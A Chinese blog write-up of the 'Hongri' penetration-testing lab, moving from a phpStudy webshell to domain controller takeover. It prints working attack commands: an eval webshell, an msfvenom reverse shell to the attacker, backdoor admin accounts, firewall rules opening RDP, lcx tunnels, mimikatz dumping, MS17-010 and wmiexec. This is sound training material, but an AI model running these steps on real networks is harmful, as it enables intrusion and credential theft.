admin管理员组

文章数量:1638230

0x01 入侵web服务器
0x 1.1 信息收集

首先使用 nmap 来扫描ip 段存活的主机

nmap -sn 192.168.127.0/24 


这里网上有的用 netdiscover 来扫描,其实和 nmap -sn 扫描原理是一样的,都是通过arp 来实现扫描。

然后接着nmap 激进模式扫端口:

nmap -A -T4 192.168.127.154


发现80端口,浏览器访问,发现是phpStudy 搭建的环境,而且网站根路径是C:/php/WWW:

0x 1.2 写webshell并连接

phpstudy 默认自带的 phpmyadmin 可以用来管理数据库,默认密码是root/root 。测试一下,发现密码是默认密码,成功登录:
然后就是利用phpmyadmin 写 shell 了:

来到变量处,修改general log 和 general log file 的值:

然后执行 语句:

SELECT "<?php @eval($_POST[1]);?>"; 

然后蚁剑连接:(kali 需要自己手动从github上面安装蚁剑,遇到一个问题就是加载器安装源码的时候 会报 not found,是因为蚁剑源码被删了。解决方法是把 自己 windows 中蚁剑的源码 拷贝到 kali 中 ,然后再用加载器加载)

虚拟终端也好使,没有设置什么disable_function

0x02 入侵内网

从虚拟终端返回的信息可以看到是 windows 系统:

那么windows 系统,我们尝试看是否可以远程连接。【有一个最快的方法就是直接使用rdpwrap 工具中的 RDPWInst ,不仅可以开启rdp 服务,开启防火墙规则,还可以允许非服务器版本windows多用户登录。

查看3389 端口,发现并没有开启:


使用如下命令开启(适用于 win7,xp,2008 , 关闭则把0换成1):

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


添加用户:

net user test @!ke123 /add # 添加账户密码
net localgroup administrators test /add # 给test账户添加为管理员权限
net user test # 查询是否成功添加test用户


kali 安装远程桌面连接工具:

apt-get install rdesktop

但是直接连接失败。

zmap 扫3389端口:

发现3389 是 filtered 状态,估计是防火墙的原因。

果然,设置了允许被连接程序的白名单,而远程桌面不在白名单内。

0x 2.1 关闭防火墙,允许3389 连接

此时一般可以有如下思路:

1.反弹一个msf的shell回来,尝试打开指定的端口
2.使用命令行直接添加规则允许3389端口流量
3.尝试使用隧道连接3389

我们一个个来试一试:

0x 2.1.1 方法一:反弹msf 的shell ,打开指定的端口

这里就没有免杀,直接用msfvenom 生成一个 shell.exe 木马程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.130 LPORT=4444 -f exe > shell.exe

然后用蚁剑连接的webshell 上传:

msf 这边监听端口:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set Lhost  192.168.127.130
set lport  4444
run

然后 蚁剑虚拟终端中运行 shell.exe ,成功收到session:

然后允许rdp 连接:

run post/windows/manage/enable_rdp

我们再回到win7 下查看,发现rdp 已经被允许了:

然后使用 rdesktop 成功登录:

rdesktop 192.168.127.154:3389

0x 2.1.2 方法二:命令行直接添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
0x 2.1.3 方法三:使用隧道

(1) 使用 sunny-ngrok (ngrok 下载太慢了)
首先去 http://www.ngrok/ 注册账号,然后里面购买一个免费的ngrok 服务器,然后创建一个隧道,绑定win7的3389端口,然后下载客户端到 win7 上,运行客户端,然后就可以在kali 中连接win7 的远程桌面了。
但是实际操作的时候win7 显示,客户端不是有效的win32 程序。所以这种方法失败,换个方法。
但是除了 exe ,还有其他版本可供我们下载:

下载php 版本,但是这台靶机上也出错,认证错误,但是我在另一台win7 sp1 上执行成功。

另外,这里出现一个小插曲:
一开始,不明白为什么 ngrok 可以绕过防火墙对3389端口流量的限制,如果是单纯的把3389映射端口到公网上,3389的流量仍然会被 防火墙阻止的。
所以重新开启了一个 win7 sp1 的虚拟机,上传客户端到win7 sp1 上,然后用wireshark 抓了抓包:

发现运行客户端后一直和 64.69.43.237 的 4443 端口通信,网上查了查 4443端口,发现是ngrok 服务端默认监听的端口。然后客户端这边使用的端口是49346,49347等大端口,看样子是随机的一个大端口。然后设置过滤器 tcp.port == 3389 ,发现没有这样的包! 所以推测,ngrok 客户端应该是本地进行了一个端口流量转发,把3389的流量转发到其他端口,然后用转发了的端口(没有被防火墙禁止)和服务端 4443 端口通信,所以就绕过了防火墙的限制。
后来看看了 php 版本和 python版本的源代码之后,发现其实是利用了socket 去主动连接服务端。然后本地也同时创建 socket 来连接本地的3389.

微软官方文档中 也提到 出站规则默认是允许全部流量:

(2) 使用lcx.exe 来 绕过防火墙
lcx.exe 是一个传输层隧道工具,有个-tran 参数可以实现本地端口转发,利用这个可以绕过防火墙,具体操作:
首先kali (攻击机)上

wine lcx.exe -listen 8000 4444 

然后利用蚁剑的虚拟终端执行:

 lcx.exe -tran 3333 127.0.0.1 3389
 lcx.exe -slave <攻击机ip> 8000 127.0.0.1 3333

但是也遇到一个问题,就是 lcx.exe 在 -tran 的时候会触发 防火墙警报(这是因为第一次运行 lcx.exe,其实后面分析就算防火墙关闭了lcx.exe 的流量,lcx.exe 同样生效)

这个时候可以先命令行新建一个防火墙规则(主要是为了不弹上面那个窗口),允许lcx.exe 的流量

netsh advfirewall firewall add rule name="lcx" dir=in action=allow program="C:\php\WWW\lcx.exe" enable=yes

另外发现,lcx.exe 的 -tran 参数好像并没有作用(可以不用-tran 参数也行)
抓包看了看,发现就算设置了 -tran 参数,和远程攻击机通信的端口也不是-tran 设置的端口,而是一个 随机的大端口,和 ngrok 差不多。

在和大端口通信:

关闭了防火墙里面允许 lcx.exe 和 远程桌面,依然可以使用lcx 来端口转发。(原因因为是这里的允许列表对应的入站规则,而lcx 采用的应该也是和ngrok 类似的socket 去主动连接远程端口的技术)


当然对于非服务器版本的windows 远程登录的话,会断开该主机当前的连接,有可能会惊动管理员。

这个时候不慌,使用 rdpwrap

rdpwrap 是一款可以允许非服务器版本进行多个用户登录的patcher,从github上面下载下来,用蚁剑把 RDPWInst.exe 传上去,然后执行:

RDPWInst.exe -i -s


这样就可以不惊动已在线的管理员实现远程登录。

最后在渗透结束后,可以使用:

RDPWInst.exe -u -k 

来删除patch,注意需要添加-k 参数,意思是还原使用之前的设置

0x 2.2 拿到域管理员密码:

meterpreter 中操作,首先 getsystem 提权:

加载mimiktz 模块:
加载前,首先sysinfo 查看系统位数,发现是64位,而我们的meterpreter 是 32位

那么需要在加载mimiktz模块之前进程迁移(其实为了meterpreter session 稳定和隐蔽,最好连上session的时候就进程迁移到 explore.exe中

ps 查看系统进程

migrate 2724 ,进程迁移

现在 sysinfo ,meterpreter 变成64位

load mimikatz 加载mimikatz 模块,然后wdigest 查看明文密码,成功获取:

0x 2.3 内网漫游

开始内网漫游之前,还是用 msf 来操作吧,比较msf 是内网大杀器。毕竟蚁剑的虚拟终端有些命令不能正常返回结果:
比如 net view

估计是timeout 的原因

0x 2.3.1 内网信息收集

其实内网信息收集主要就是收集内网中是否有域,然后域中各个主机的主机名和ip域控的主机名和ip ,以及域内用户域管理员用户名

(下面的截图是直接在win 7 上演示的,没有直接在msf 中了,因为写这部分的时候 msf 在update ,然后之前又正好只保存了直接在win 7 上的截图😂)

net config workstation  查看是否有域,以及当前登录域


net view 查看域内主机列表

查看域控:
net group "domain controllers" /domain 查看域控制器(如果有多台)

然后通过ping 命令查看域中主机的ip:

net user /domain 查看域内所有域用户
然后net group "domain admins" /domain 查看域管理员列表

至此大概就清楚了域中的一些基本信息:

域名为 god
域中有三台主机:
stu1.god   192.168.52.129 (控制的这台win 7)
root-tvi862ubeh.god   192.168.52.129
owa.god   192.168.52.130 为域控
域用户有 : ligang  , liukaifeng01 ,administrator
域管理员只有一个:  administrator
0x 2.3.2 设置代理

msf 反弹一个 meterpreter shell:
设置路由:

run autoroute -s 192.168.52.0/24

然后添加sock4 代理:

use auxiliary/server/socks4a 
set srvport 1080
set srvhost 127.0.0.1
run

然后/etc/proxychains.conf 修改proxychains 配置文:

这样就可以使用 代理访问内网了。

0x 2.2.3 利用 ms17-010拿下win 2003

挂代理,扫描第一个主机

开了445 端口,利用 use auxiliary/scanner/smb/smb_version 来扫描系统版本:

发现是 win 2003

由于开启了445端口,使用 nmap 扫描看是否存在ms17-010永恒之蓝漏洞:(发现并没有,这个网上说的不同)

网上查了查这个报错:https://github/rapid7/metasploit-framework/issues/11691
大概意思是因为远程主机没有允许匿名连接,然后在蚁剑终端尝试连接匿名连接,发现可以连接:

然后再回kali 中,发现现在可以攻击了:

但是再次攻击又失败了,

然后回虚拟终端中删除这个空连接,重新建立空连接,回kali ,又能攻击:


然后尝试一把 exploit/windows/smb/ms17_010_eternalblue ,失败

而且发现 ipc$ 空连接也连接不上了,重启win 2003 依然一样,重启win 7 之后变好了

看来,还是在 win 2003 上使用ms17_010 还是不够稳定。(后来用 psexec 来打了一次,没有成功,然后导致net use 断不开连接了,继续用command 那个,发现现在不用每次都重连了,然后过了一段时间,又发现一直处于断开状态连接不上。。。所以实战中2003用ms17_010打很不稳定,要打的话尽量用command 那个一条一条命令执行

然后我们就可以用command 来一条一条语句执行,比如添加管理员,开启远程登录。

0x 2.2.4 拿域控

由于之前获得了域管理员的密码了,然后nmap 扫描发现域控开启了137端口,所以可以直接用 auxiliary/scanner/smb/impacket/wmiexec 来执行命令

执行命令的时候可以从两方面来:
(1)弹一个正向shell (因为msf 开了代理,所以不能弹反向shell)
(2)直接执行命令开启3389,然后登录

第二个和前面的差不多,就不说了。
对于第一个,首先要下载正向木马,我们可以利用ipc 共享文件来下载。首先,上传正向木马到 win7 上,然后在win7 上开启文件夹共享

此时net share 查看可以发现共享成功

然后在命令执行的地方执行下面命令:

copy \\192.168.52.128\WWW\shell1.exe C:\1.exe 

就可以把木马下载过来,然后直接执行木马,msf 监听端口,就可以得到shell。

0x03 后记

从搭建环境开始,前前后后大概弄了将近一周吧,之前对内网渗透也只是纸上谈兵,只看过一些教程和文章,真正自己动手进行内网渗透是第一次,收获颇多。

此外讲一些环境搭建的坑:
(1)win 7 需要自己启动phpstudy ,而且我本地启动的时候还不能直接启动,我是重新用靶机里面的phpstudy安装包重新安装了一次phpstudy,才能运行(这也是为什么我的网站根目录是 C:\php\WWW 而不是 C:\phpstudy\WWW的原因)
(2)配置网络的时候,kali和win7 配置为NAT ,然后win7 再添加一个网卡,地址要求是 192.168.52.0/24 ,不要改成其他的,因为主机加入域的时候,dns 是域控的ip ,写死的192.168.52.130 。

然后再是一些个人的见解和看法:
(1)域渗透(先不谈维权和痕迹擦除等)主要目的为了拿到域管理员的密码 ,然后登录域控。所以其实一开始从win 7 中用mimikitaz 就提取到了域管理员的账号和密码了,之后的方向 不管是 win 2003 还是 域控 win 2008 其实就可以直接是打开3389远程桌面来远程登录。
对于已知域管理员密码,如果没有开启3389如何远程登录(其实就是如何代码执行开启3389):
i . 如果开启了 137 端口 ,也就是wmi 的话,首先还是建议用wmi , 可以直接利用 auxiliary/scanner/smb/impacket/wmiexec 来代码执行,就可以来开启3389 ,以及配置防火墙等。
ii. 如果开启了 139,445 端口,可以先尝试用 exploit/windows/smb/psexec 来登录,弹一个正向shell 。然后代码执行开启3389,配置防火墙。

(2)至于怎么获得域管理员密码,这又是一个大专题,有这些方法(自己目前了解到接触到的有):
i .一台台主机上mimikatz 得明文。
ii. 一台台主机上mimikatz 得hash ,然后利用pth 。
iii.sysvol 还原组策略中的密码,利用脚本。[获得本地管理员密码]
iv.如果是采用 laps 来分配密码的话,利用 laps 配置错误来获得密码,可以使用msf 中的 enum_laps 或者ldapsearch 或者 LAPSToolkit。[获得本地管理员密码]
v.steal access token 。

(3)总之,域渗透要思路广,对,就 先说这些了,然后看到网上说还可以用CS,到时候也试试CS 。

本文标签: 靶机红日实战